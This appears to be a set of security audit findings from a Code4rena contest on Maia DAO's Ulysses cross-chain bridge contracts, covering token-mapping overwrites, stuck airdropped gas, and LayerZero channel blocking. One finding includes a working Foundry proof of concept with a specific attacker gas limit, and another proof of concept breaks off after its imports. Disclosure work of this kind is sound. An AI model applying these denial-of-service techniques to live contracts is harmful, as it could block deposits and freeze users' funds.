Maia DAO - Ulysses - Koolex's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootPort.sol#L264-L268

Vulnerability details

Impact

addGlobalToken is used to add a global token to a branch. The flow as follows:

1 => CoreBranchRouter.addGlobalToken

2 => Send Cross-Chain request (System Response/Request) with FuncId 0x01 (Notice that is uses normal callOut though. Anyway, let's continue) CoreBranchRouter: L51-L55

3 => Root receives the request to lzReceiveNonBlocking and calls RootBridgeAgentExecutor.executeNoDeposit RootBridgeAgent: L482-L489

4 => RootBridgeAgentExecutor calls CoreRootRouter.execute CoreRootRouter: L336-L343

5 => CoreRootRouter calls _addGlobalToken internally where it only checks if the GlobalToken is unrecognized and the token was not already added

  if (!IPort(rootPortAddress).isGlobalAddress(_globalAddress)) {
            revert UnrecognizedGlobalToken();
        }

        // Verify that it does not exist
        if (IPort(rootPortAddress).isGlobalToken(_globalAddress, _dstChainId)) {
            revert TokenAlreadyAdded();
        }

CoreRootRouter: L414-L422

6 => Send Cross-Chain request (System Response/Request) with FuncId 0x01 to the branch chain CoreRootRouter: L434-L440

7 => Branch receives the request to lzReceiveNonBlocking and calls BranchBridgeAgentExecutor.executeWithSettlement

8 => BranchBridgeAgentExecutor calls CoreBranchRouter.executeNoSettlement CoreBranchRouter: L53-L57

9 => CoreBranchRouter calls _receiveAddGlobalToken internally CoreBranchRouter: L88-L99

10 => _receiveAddGlobalToken calls IBridgeAgent.callOutSystem with FuncId (0x03) CoreBranchRouter: L181-L185

11 => IBridgeAgent.callOutSystem send Cross-Chain request with FuncId 0x00 BranchBridgeAgent: L188-L192

12 => Root receives the request to lzReceiveNonBlocking and calls RootBridgeAgentExecutor.executeSystemRequest RootBridgeAgent: L755

13 => RootBridgeAgentExecutor calls CoreRootRouter.executeResponse RootBridgeAgentExecutor: L56

14 => CoreRootRouter.executeResponse calls _setLocalToken Internally since FundId is 0x03 (check number 10 above)

15 => Notice that _setLocalToken only verifies if the token already added then it calls IPort(rootPortAddress).setLocalAddress

        if (IPort(rootPortAddress).isLocalToken(_localAddress, _dstChainId)) revert TokenAlreadyAdded();

CoreRootRouter: L483-L484

16 => RootPort.setLocalAddress only checks if local address is not zero. After that, it assigns the global token address to the local and the other way around

        if (_localAddress == address(0)) revert InvalidLocalAddress();

		getGlobalTokenFromLocal[_localAddress][_srcChainId] = _globalAddress;
        getLocalTokenFromGlobal[_globalAddress][_srcChainId] = _localAddress;

RootPort: L264-L268

From the above flow, we see that we can link the same global token to many local tokens which is a big issue that could cause many unpredicted behaviours in the whole protocol. This is because the code doesn't check if a global token was already linked to a local token for a certain chain, it just overwrites the values regardless if they were set before or not. getGlobalTokenFromLocal[_localAddress][_srcChainId] getLocalTokenFromGlobal[_globalAddress][_srcChainId]

This also makes it possible to link a wrong existing global token (i.e. belongs to a different underlying token) to a local token.

Proof of Concept

Please check above as the issue explained with the flow step by step.

Tools Used

Manual analysis

Recommended Mitigation Steps

At the moment, any one can call addGlobalToken, I suggest this function should be not permission-less. However, if this is required, then consider adding the proper validation to prevent overwriting old linked local tokens into those.

getGlobalTokenFromLocal[_localAddress][_srcChainId]
getLocalTokenFromGlobal[_globalAddress][_srcChainId]

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L755-L756

Vulnerability details

Impact

When sending a message with deposit (i.e. callOutAndBridge) from chain A to chain B, the message will go through the root chain. If rootBridgeAgent.lzReceiveNonBlocking fails for any reason, the airdropped native token in rootBridgeAgent will be kept and not refunded to the user. The airdrop caps out at values that are not negligible. Some examples of these values:

• Ethereum: 0.24
• Avalanche: 18.47
• Polygon: 681

Check Relayer Adapter Parameters

This airdropped value should be returned to the user since it wasn't spent at all. To undertsnad this better, the airdropped value is meant to send another cross-chain request to the destination chain (e.g. chain B). However, if lzReceiveNonBlocking fails in the root chain, the request is never made and the funds are stuck in the root.

In case that the airdrop value is big enough, anyone (e.g. a stealer) is tempted to send a successful deposit to sweep this value and get it as a refund. This is because:

1. When making a cross-chain request from root chain to the destination chain. address(this).balance is passed.

        (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata); // check if address(this).balance has impact . we need tto understand how LZ airdrops the rootAgentAddress 

RootBridgeAgent: L755-L756

2. When the request is made, the extra gas will be refunded by LZ.

        // assert the user has attached enough native token for this address
        require(totalNativeFee <= msg.value, "LayerZero: not enough native for fees");
        // refund if they send too much
        uint amount = msg.value.sub(totalNativeFee);
        if (amount > 0) {
            (bool success, ) = _refundAddress.call{value: amount}("");
            require(success, "LayerZero: failed to refund");
        }

UltraLightNodeV2: L151-L156

So (at least) the old balance of root chain will be sent to the stealer. This is applicable to other types of cross-chain requests.

Note: A similiar issue exists for BranchBridgeAgent as well. I didn't submit it as a separate one since I though it is gonna be merged by the judge.

Proof of Concept

• When calling BranchBridgeAgent.callOutAndBridge, we pass GasParams

    function callOutAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {
        //Cache Deposit Nonce

BranchBridgeAgent: L209-L216

GasParams has gasLimit and remoteBranchExecutionGas. gasLimit is used by LZ to call lzReceive on root chain remoteBranchExecutionGas is sent to root chain before calling lzReceive

    function validateTransactionProofV2(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _blockHash, bytes calldata _transactionProof, address payable _to) external payable onlyApproved nonReentrant {
        (bool sent, ) = _to.call{value: msg.value}("");
        require(sent, "Relayer: failed to send ether");
        uln.validateTransactionProof(_srcChainId, _dstAddress, _gasLimit, _blockHash, _transactionProof);
    }

Relayer: L63-L68

Here is how airdropping works explained in LZ docs Airdrop by adapterParams

Tools Used

Manual analysis

Recommended Mitigation Steps

Two approaches:

• (Recommended) Better options is, to track this value, the use can claim it from the root chain if he/she would like to. However, when making the request, please pass remoteBranchExecutionGas instead of address(this).balance.

• (Not Recommended) If the request fails in the root chain, refund the user the balance of the contract after rootBridgeAgent.lzReceiveNonBlocking call. Please consider a buffer gas for this since we don't want lzReceive to fail at all. For why, check the other issues that I've submitted in this regard.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L423-L432

Vulnerability details

Impact

Context

Note:skip this if you have a good understanding of how LayerZero works

LayerZero delivers the messages in the same order they were sent. In case a message delivery fails, it will block the messaging channel.

LayerZero provides ordered delivery of messages from a given sender to a destination chain, i.e. srcUA-> dstChain. In other words, the message order nonce is shared by all dstUA on the same dstChain. That's why a STORED message blocks the message pathway from srcUA to all dstUA on the same destination chain.

Reference from LZ docs

        // block if any message blocking
        StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress];
        require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking");

        try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
            // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
            storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload));
            emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
        }

LayerZero Endpoint: L114-L124

To prevent this from happening, UAs should implement a non-blocking pattern in the contract code. So that whenever lzReceive method is called by LayerZero endpoint, it should always succeed. This way we guarantee messaging channel will never be blocked.

More details on this

Implementation and Vulnerability

Maia implements the non-blocking pattern in RootBridgeAgent as suggested by LayerZero.

    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        (bool success,) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        ); 
		
        if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
    }

RootBridgeAgent: L423-L432

As seen lzReceive doesn't care if the lzReceiveNonBlocking call fails (unless it is a local call which is irrelevant here). This way, lzReceive should always succeed so that messaging channel is never blocked. However, the implementation doesn't take into consideration that when performing an external call only 63/64 of the available gas is passed and 1/64 is kept for after the call is done (check EIP-150 for further details).

The worst case that lzReceiveNonBlocking run out of gas and only 1/64 is left. Notice we still have few Opcodes to be executed after the call. If the 1/64 left gas isn't enough to execute it, lzReceive will fail by out of gas error, ultimately blocking the messaging channel.

An attacker can exploit this by passing a gas limit (e.g. 152000) that cause this issue eventually blocking depositing flow (Obviously all types of it) from any branch chain (except Arb) to the root chain.

Note: the issue is applicable only on RootBridgeAgent contract because BranchBridgeAgent's lzReceive doesn't have any additional code after lzReceiveNonBlocking call. However, Opcodes after the call happening in excessivelySafeCall that's different from the regular call should be considered. According to ExcessivelySafeCall,

The main difference with between address.call() call and address.excessivelySafeCall() is that a regular solidity call will automatically copy bytes to memory without consideration of gas.

Since there is an additional logic that limits the max copied returned data to 150 bytes (e.g. the if condition), it should be considered.

Proof of Concept

Intro

When you run the test file below, you should get the following output:

[PASS] test_C1_deposit_flow_broken() (gas: 242817)
Logs:
  Case #1: (1/64 rule)
  Gas Limit: 152000
  Deposit Flow is broken!
  storedPayload.payloadHash =>
  0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470

[PASS] test_C1_deposit_flow_not_broken() (gas: 199729)
Logs:
  Case #1: (1/64 rule)
  Gas Limit: 152000
  Deposit Flow is functional
  storedPayload.payloadHash =>
  0x0000000000000000000000000000000000000000000000000000000000000000

Test result: ok. 2 passed; 0 failed; finished in 16.88ms

Explanation

We have two tests:

• test_C1_deposit_flow_broken() This demonstrates how the attacker can break the deposit flow. storedPayload will have a non zero value in payloadHash.

  A STORED message will block the delivery of any future message from srcUA to all dstUA

  Check message-state for further details.

• test_C1_deposit_flow_not_broken() This demonstrates that if we remove the code after lzReceiveNonBlocking call, then the issue won't occur. storedPayload will have a zero value in payloadHash.

Note: in the coded PoC below, some comments are added for further clarity.

Test file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// PoC => Maia OmniChain: Attacker can break the deposit functionality from any branch chain (except Arb) to the root

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {DSTest} from "ds-test/test.sol";

library ExcessivelySafeCall {
    uint256 constant LOW_28_MASK =
        0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff;

    /// @notice Use when you _really_ really _really_ don't trust the called
    /// contract. This prevents the called contract from causing reversion of
    /// the caller in as many ways as we can.
    /// @dev The main difference between this and a solidity low-level call is
    /// that we limit the number of bytes that the callee can cause to be
    /// copied to caller memory. This prevents stupid things like malicious
    /// contracts returning 10,000,000 bytes causing a local OOG when copying
    /// to memory.
    /// @param _target The address to call
    /// @param _gas The amount of gas to forward to the remote contract
    /// @param _maxCopy The maximum number of bytes of returndata to copy
    /// to memory.
    /// @param _calldata The data to send to the remote contract
    /// @return success and returndata, as `.call()`. Returndata is capped to
    /// `_maxCopy` bytes.
    function excessivelySafeCall(
        address _target,
        uint256 _gas,
        uint16 _maxCopy,
        bytes memory _calldata
    ) internal returns (bool, bytes memory) {
        // set up for assembly call
        uint256 _toCopy;
        bool _success;
        bytes memory _returnData = new bytes(_maxCopy);
        // dispatch message to recipient
        // by assembly calling "handle" function
        // we call via assembly to avoid memcopying a very large returndata
        // returned by a malicious contract
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                0, // ether value
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
            // limit our copy to 256 bytes
            _toCopy := returndatasize()
            if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            // Store the length of the copied bytes
            mstore(_returnData, _toCopy)
            // copy the bytes from returndata[0:_toCopy]
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }

    /// @notice Use when you _really_ really _really_ don't trust the called
    /// contract. This prevents the called contract from causing reversion of
    /// the caller in as many ways as we can.
    /// @dev The main difference between this and a solidity low-level call is
    /// that we limit the number of bytes that the callee can cause to be
    /// copied to caller memory. This prevents stupid things like malicious
    /// contracts returning 10,000,000 bytes causing a local OOG when copying
    /// to memory.
    /// @param _target The address to call
    /// @param _gas The amount of gas to forward to the remote contract
    /// @param _maxCopy The maximum number of bytes of returndata to copy
    /// to memory.
    /// @param _calldata The data to send to the remote contract
    /// @return success and returndata, as `.call()`. Returndata is capped to
    /// `_maxCopy` bytes.
    function excessivelySafeStaticCall(
        address _target,
        uint256 _gas,
        uint16 _maxCopy,
        bytes memory _calldata
    ) internal view returns (bool, bytes memory) {
        // set up for assembly call
        uint256 _toCopy;
        bool _success;
        bytes memory _returnData = new bytes(_maxCopy);
        // dispatch message to recipient
        // by assembly calling "handle" function
        // we call via assembly to avoid memcopying a very large returndata
        // returned by a malicious contract
        assembly {
            _success := staticcall(
                _gas, // gas
                _target, // recipient
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
            // limit our copy to 256 bytes
            _toCopy := returndatasize()
            if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            // Store the length of the copied bytes
            mstore(_returnData, _toCopy)
            // copy the bytes from returndata[0:_toCopy]
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }

    /**
     * @notice Swaps function selectors in encoded contract calls
     * @dev Allows reuse of encoded calldata for functions with identical
     * argument types but different names. It simply swaps out the first 4 bytes
     * for the new selector. This function modifies memory in place, and should
     * only be used with caution.
     * @param _newSelector The new 4-byte selector
     * @param _buf The encoded contract args
     */
    function swapSelector(
        bytes4 _newSelector,
        bytes memory _buf
    ) internal pure {
        require(_buf.length >= 4);
        uint256 _mask = LOW_28_MASK;
        assembly {
            // load the first word of
            let _word := mload(add(_buf, 0x20))
            // mask out the top 4 bytes
            // /x
            _word := and(_word, _mask)
            _word := or(_newSelector, _word)
            mstore(add(_buf, 0x20), _word)
        }
    }
}

interface ILayerZeroReceiver {
    // @notice LayerZero endpoint will invoke this function to deliver the message on the destination
    // @param _srcChainId - the source endpoint identifier
    // @param _srcAddress - the source sending contract address from the source chain
    // @param _nonce - the ordered message nonce
    // @param _payload - the signed payload is the UA bytes has encoded to be sent
    function lzReceive(
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        uint64 _nonce,
        bytes calldata _payload
    ) external;
}

contract BridgeAgentConstants {
    // Settlement / Deposit Execution Status

    uint8 internal constant STATUS_READY = 0;

    uint8 internal constant STATUS_DONE = 1;

    uint8 internal constant STATUS_RETRIEVE = 2;

    // Settlement / Deposit Redeeem Status

    uint8 internal constant STATUS_FAILED = 1;

    uint8 internal constant STATUS_SUCCESS = 0;

    // Payload Encoding / Decoding

    uint256 internal constant PARAMS_START = 1;

    uint256 internal constant PARAMS_START_SIGNED = 21;

    uint256 internal constant PARAMS_TKN_START = 5;

    uint256 internal constant PARAMS_TKN_START_SIGNED = 25;

    uint256 internal constant PARAMS_ENTRY_SIZE = 32;

    uint256 internal constant PARAMS_ADDRESS_SIZE = 20;

    uint256 internal constant PARAMS_TKN_SET_SIZE = 109;

    uint256 internal constant PARAMS_TKN_SET_SIZE_MULTIPLE = 128;

    uint256 internal constant ADDRESS_END_OFFSET = 12;

    uint256 internal constant PARAMS_AMT_OFFSET = 64;

    uint256 internal constant PARAMS_DEPOSIT_OFFSET = 96;

    uint256 internal constant PARAMS_END_OFFSET = 6;

    uint256 internal constant PARAMS_END_SIGNED_OFFSET = 26;

    uint256 internal constant PARAMS_SETTLEMENT_OFFSET = 129;

    // Deposit / Settlement Multiple Max

    uint256 internal constant MAX_TOKENS_LENGTH = 255;
}

// LZ EndPoint (Mock only relevant code copied)
// https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L100-L125
contract Endpoint {
    struct StoredPayload {
        uint64 payloadLength;
        address dstAddress;
        bytes32 payloadHash;
    }

    // inboundNonce = [srcChainId][srcAddress].
    mapping(uint16 => mapping(bytes => uint64)) public inboundNonce;
    // outboundNonce = [dstChainId][srcAddress].
    mapping(uint16 => mapping(address => uint64)) public outboundNonce;
    // storedPayload = [srcChainId][srcAddress]
    mapping(uint16 => mapping(bytes => StoredPayload)) public storedPayload;

    function receivePayload(
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        address _dstAddress,
        uint64 _nonce,
        uint _gasLimit,
        bytes calldata _payload
    ) public {
        try
            ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload
            )
        {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
            // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
            storedPayload[_srcChainId][_srcAddress] = StoredPayload(
                uint64(_payload.length),
                _dstAddress,
                keccak256(_payload)
            );
            //    emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
        }
    }

    
    function readStoredPayload(
        uint16 _srcChainId,
        bytes memory _srcAddress
    ) public view returns (StoredPayload memory) {
        return storedPayload[_srcChainId][_srcAddress];
    }
}

contract RootBridgeAgentBaseMock is BridgeAgentConstants {
    /*///////////////////////////////////////////////////////////////
                             EVENTS
    //////////////////////////////////////////////////////////////*/

    event LogExecute(uint256 indexed depositNonce, uint256 indexed srcChainId);
    event LogFallback(
        uint256 indexed settlementNonce,
        uint256 indexed dstChainId
    );

    /*///////////////////////////////////////////////////////////////
                            ONLY REQUIRED ERRORS FOR POC
    //////////////////////////////////////////////////////////////*/

    error ExecutionFailure();
    error LayerZeroUnauthorizedEndpoint();
    error LayerZeroUnauthorizedCaller();

    /*///////////////////////////////////////////////////////////////
                        ROOT BRIDGE AGENT STATE
    //////////////////////////////////////////////////////////////*/

    /// @notice Local Chain Id
    uint16 public immutable localChainId;

    /// @notice Bridge Agent Factory Address.
    address public immutable factoryAddress;

    /// @notice Local Core Root Router Address
    address public immutable localRouterAddress;

    /// @notice Local Port Address where funds deposited from this chain are stored.
    address public immutable localPortAddress;

    /// @notice Local Layer Zero Endpoint Address for cross-chain communication.
    address public immutable lzEndpointAddress;

    /// @notice Address of Root Bridge Agent Executor.
    address public immutable bridgeAgentExecutorAddress;

    /*///////////////////////////////////////////////////////////////
                        BRANCH BRIDGE AGENTS STATE
    //////////////////////////////////////////////////////////////*/

    /// @notice Chain -> Branch Bridge Agent Address. For N chains, each Root Bridge Agent Address has M =< N Branch Bridge Agent Address.
    mapping(uint256 chainId => address branchBridgeAgent)
        public getBranchBridgeAgent;

    /// @notice Message Path for each connected Branch Bridge Agent as bytes for Layzer Zero interaction = localAddress + destinationAddress abi.encodePacked()
    mapping(uint256 chainId => bytes branchBridgeAgentPath)
        public getBranchBridgeAgentPath;

    /// @notice If true, bridge agent manager has allowed for a new given branch bridge agent to be synced/added.
    mapping(uint256 chainId => bool allowed) public isBranchBridgeAgentAllowed;

    /*///////////////////////////////////////////////////////////////
                            SETTLEMENTS STATE
    //////////////////////////////////////////////////////////////*/

    /// @notice Deposit nonce used for identifying transaction.
    uint32 public settlementNonce;

    // /// @notice Mapping from Settlement nonce to Settlement Struct.
    // mapping(uint256 nonce => Settlement settlementInfo) public getSettlement;

    /*///////////////////////////////////////////////////////////////
                            EXECUTOR STATE
    //////////////////////////////////////////////////////////////*/

    /// @notice If true, bridge agent has already served a request with this nonce from  a given chain. Chain -> Nonce -> Bool
    mapping(uint256 chainId => mapping(uint256 nonce => uint256 state))
        public executionState;

    /*///////////////////////////////////////////////////////////////
                            REENTRANCY STATE
    //////////////////////////////////////////////////////////////*/

    /// @notice Re-entrancy lock modifier state.
    uint256 internal _unlocked = 1;

    // State Vars for the sake of the PoC
    uint256[] public uselessArray;

    constructor(address _lzEndpointAddress) {
        lzEndpointAddress = _lzEndpointAddress;
    }

    // set initial values for testing only
    function setSrcChainAndAddress(
        uint16 _srcChain,
        address _srcAddress
    ) public {
        getBranchBridgeAgent[_srcChain] = _srcAddress;
    }

    modifier requiresEndpoint(
        address _endpoint,
        uint16 _srcChain,
        bytes calldata _srcAddress
    ) virtual {
        if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();

        if (_endpoint != getBranchBridgeAgent[localChainId]) {
            if (_endpoint != lzEndpointAddress)
                revert LayerZeroUnauthorizedEndpoint();

            if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();

            if (
                getBranchBridgeAgent[_srcChain] !=
                address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))
            ) {
                revert LayerZeroUnauthorizedCaller();
            }
        }
        _;
    }

    function lzReceiveNonBlocking(
        address _endpoint,
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        bytes calldata _payload
    )
        public
        /*override*/ requiresEndpoint(_endpoint, _srcChainId, _srcAddress)
    {
        // Deposit Nonce
        uint32 nonce;

        // Some code here (e.g. loop) to spend all the gas
        uint256 uselessSum = 0;
        for (uint256 i = 0; i < 10000; i++) {
            uselessSum += i;
            uselessArray.push(uselessSum);
        }

        emit LogExecute(nonce, _srcChainId);
    }

    fallback() external payable {}

    receive() external payable {}
}

contract RootBridgeAgentMockV1 is RootBridgeAgentBaseMock {
    using ExcessivelySafeCall for address;

    constructor(
        address _lzEndpointAddress
    ) RootBridgeAgentBaseMock(_lzEndpointAddress) {}

    function lzReceive(
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        uint64,
        bytes calldata _payload
    ) public {
        (bool success, ) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(
                this.lzReceiveNonBlocking.selector,
                msg.sender,
                _srcChainId,
                _srcAddress,
                _payload
            )
        );

        // Can you make this reaches "out of gas" here so lzReceive fails ? Yes!
        if (!success)
            if (msg.sender == getBranchBridgeAgent[localChainId])
                revert ExecutionFailure();
    }
}

contract RootBridgeAgentMockV2 is RootBridgeAgentBaseMock {
    using ExcessivelySafeCall for address;

    constructor(
        address _lzEndpointAddress
    ) RootBridgeAgentBaseMock(_lzEndpointAddress) {}

    function lzReceive(
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        uint64,
        bytes calldata _payload
    ) public {
        (bool success, ) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(
                this.lzReceiveNonBlocking.selector,
                msg.sender,
                _srcChainId,
                _srcAddress,
                _payload
            )
        );

        // This is commented out here to show the issue
        // if (!success)
        //     if (msg.sender == getBranchBridgeAgent[localChainId])
        //         revert ExecutionFailure();
    }
}

contract BreakDepositTest is DSTest, Test {
    RootBridgeAgentMockV1 rootBridgeAgentV1;
    RootBridgeAgentMockV2 rootBridgeAgentV2;
    Endpoint lzEndpoint;

    address branchBridgeAgent = vm.addr(8); // any address to construct srcAddress below

    function setUp() public {
        lzEndpoint = new Endpoint();
        rootBridgeAgentV1 = new RootBridgeAgentMockV1(address(lzEndpoint));
        rootBridgeAgentV2 = new RootBridgeAgentMockV2(address(lzEndpoint));
    }

    /** Case #1: (1/64 rule) **/

    // Attacker can pass a specific gas limit uitlizing 1/64 rule to break the deposit flow from Branch to Root
    function test_C1_deposit_flow_broken() public {
        uint16 _srcChainId = 1;
        rootBridgeAgentV1.setSrcChainAndAddress(
            _srcChainId,
            address(branchBridgeAgent)
        );
        bytes memory _srcAddress = abi.encodePacked(
            address(rootBridgeAgentV1),
            address(branchBridgeAgent)
        );

        uint64 _nonce = 0;
        bytes memory _payload;
        uint256 _gasLimit = 152_000;

        lzEndpoint.receivePayload{gas: 1 ether}( // Give big amount of gas for this, we don't want this to fail
            _srcChainId,
            _srcAddress,
            address(rootBridgeAgentV1),
            _nonce,
            _gasLimit,
            _payload
        );

        Endpoint.StoredPayload memory storedPayload = lzEndpoint
            .readStoredPayload(_srcChainId, _srcAddress);

        console.log("Case #1: (1/64 rule)");
        console.log("Gas Limit: %d", _gasLimit);
        console.log("Deposit Flow is broken!");
        console.log("storedPayload.payloadHash =>");
        console.logBytes32(storedPayload.payloadHash);
        assertTrue(storedPayload.payloadHash != bytes32(0));
    }

    // When removing the condition after lzReceiveNonBlocking call, the issue is no longer there. All other code is the same
    // This is to prove that the LZ message above failed because of not enough gas for it
    // RootBridgeAgentMockV2 is used
    function test_C1_deposit_flow_not_broken() public {
        uint16 _srcChainId = 1;
        rootBridgeAgentV2.setSrcChainAndAddress(
            _srcChainId,
            address(branchBridgeAgent)
        );
        bytes memory _srcAddress = abi.encodePacked(
            address(rootBridgeAgentV2),
            address(branchBridgeAgent)
        );

        uint64 _nonce = 0;
        bytes memory _payload;
        uint256 _gasLimit = 152_000;

        lzEndpoint.receivePayload{gas: 1 ether}( // Give big amount of gas for this, we don't want this to fail
            _srcChainId,
            _srcAddress,
            address(rootBridgeAgentV2),
            _nonce,
            _gasLimit,
            _payload
        );

        Endpoint.StoredPayload memory storedPayload = lzEndpoint
            .readStoredPayload(_srcChainId, _srcAddress);

        console.log("Case #1: (1/64 rule)");
        console.log("Gas Limit: %d", _gasLimit);
        console.log("Deposit Flow is functional");
        console.log("storedPayload.payloadHash =>");
        console.logBytes32(storedPayload.payloadHash);
        assertTrue(storedPayload.payloadHash == bytes32(0));
    }

}

Tools Used

Manual analysis

Recommended Mitigation Steps

Instead of passing all gasleft() to lzReceiveNonBlocking call, pass gasleft()-XOfGas in which XOfGas is enough gas to execute the Opcodes after lzReceiveNonBlocking call. Please consider Opcodes after the actual call happening in excessivelySafeCall that's different from the regular call. In case you need a coded example, I will be happy to provide it.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/BranchBridgeAgent.sol#L578-L584

Vulnerability details

Impact

Context

Note:skip this if you have a good understanding of how LayerZero works

=> Adapter Parameters

When sending a message through LayerZero, the default gas limit is 200000. However, the message sender can tell LayerZero to use a custom gas limit.

From LayerZero docs

Abstract: Every transaction costs a certain amount of gas. Since LayerZero delivers the destination transaction when a message is sent it must pay for that destination gas. A default of 200,000 gas is priced into the call for simplicity

LayerZero Adapter Parameters doc

=> Delivering Messages

LayerZero delivers the messages in the same order they were sent. In case a message delivery fails, it will block the messaging channel.

LayerZero provides ordered delivery of messages from a given sender to a destination chain, i.e. srcUA-> dstChain. In other words, the message order nonce is shared by all dstUA on the same dstChain. That's why a STORED message blocks the message pathway from srcUA to all dstUA on the same destination chain.

Reference from LZ docs

        // block if any message blocking
        StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress];
        require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking");

        try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
            // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
            storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload));
            emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
        }

LayerZero Endpoint: L114-L124

To prevent this from happening, UAs should implement a non-blocking pattern in the contract code. So that whenever lzReceive method is called by LayerZero endpoint, it should always succeed. This way we guarantee messaging channel will never be blocked.

More details on this

Implementation and Vulnerability

The non-blocking pattern in BranchBridgeAgent is implemented as follows:

    function lzReceive(uint16, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override {
        address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload)
        );
    }    }

BranchBridgeAgent: L578-L584

As seen lzReceive doesn't care if the lzReceiveNonBlocking call fails. This way, lzReceive should always succeed so that messaging channel is never blocked. Obviously, if we can make lzReceive fail, we cause blocking the messaging channel. On the surface, this seems not possible. However, since Maia is utilizing Adapter Parameters (which allows a custom gas limit to be passed), there is a way to cause lzReceive failure. This can be done by passing too low gas limit that's not enough to exceute Opcodes that happen to be before the low level call. Yes, there are Opcodes that are not taken into account before the low level call.

Let's have a look at the code again

	address(this).excessivelySafeCall(
		gasleft(),
		150,
		abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload)
	);

We see that excessivelySafeCall (from ExcessivelySafeCall library) is used to make the low level call (This is to protect from gas griefing attacks which could cause lzReceive failure, not our topic now). So the question is, what are the Opcodes that are executed before the low level call? Here is some examples:

• gasleft()
• abi.encodeWithSelector

From this we know that if we pass gas limit that's not enough to cover those, lzReceive will fail by out of gas error, ultimately blocking the messaging channel. An attacker can exploit this to block the settlement flow eventually from the root chain to any branch chain (except Arb since it is local).

Note: the issue is applicable also on RootBridgeAgent contract since it has the same implementation of the call. So deposit flow could be also blocked. In other words, all messaging channels from any chain to any chain through LZ can be completely blocked.

Proof of Concept

Intro

When you run the test file below, you should get the following output:

[PASS] test_C1_settelment_flow_broken_too_little_gas() (gas: 108231)
Logs:
  Case #1: too little gas
  Gas Limit: 11000
  Settlement Flow is broken when too little gas!
  storedPayload.payloadHash =>
  0x7baaf1e67936132a7e216cb3251a719c814e578d5d01f2307cd2334a0fb130d0

Test result: ok. 1 passed; 0 failed; finished in 1.62ms

Explanation

test_C1_settelment_flow_broken_too_little_gas() test demonstrates how the attacker can break the settlement flow by passing too low gas limit (e.g. 11K). storedPayload will have a non zero value in payloadHash.

Test file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// PoC => Maia OmniChain: Attacker can break the settlement functionality from the root chain to any branch chain (except Arb)

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {DSTest} from "ds-test/test.sol";

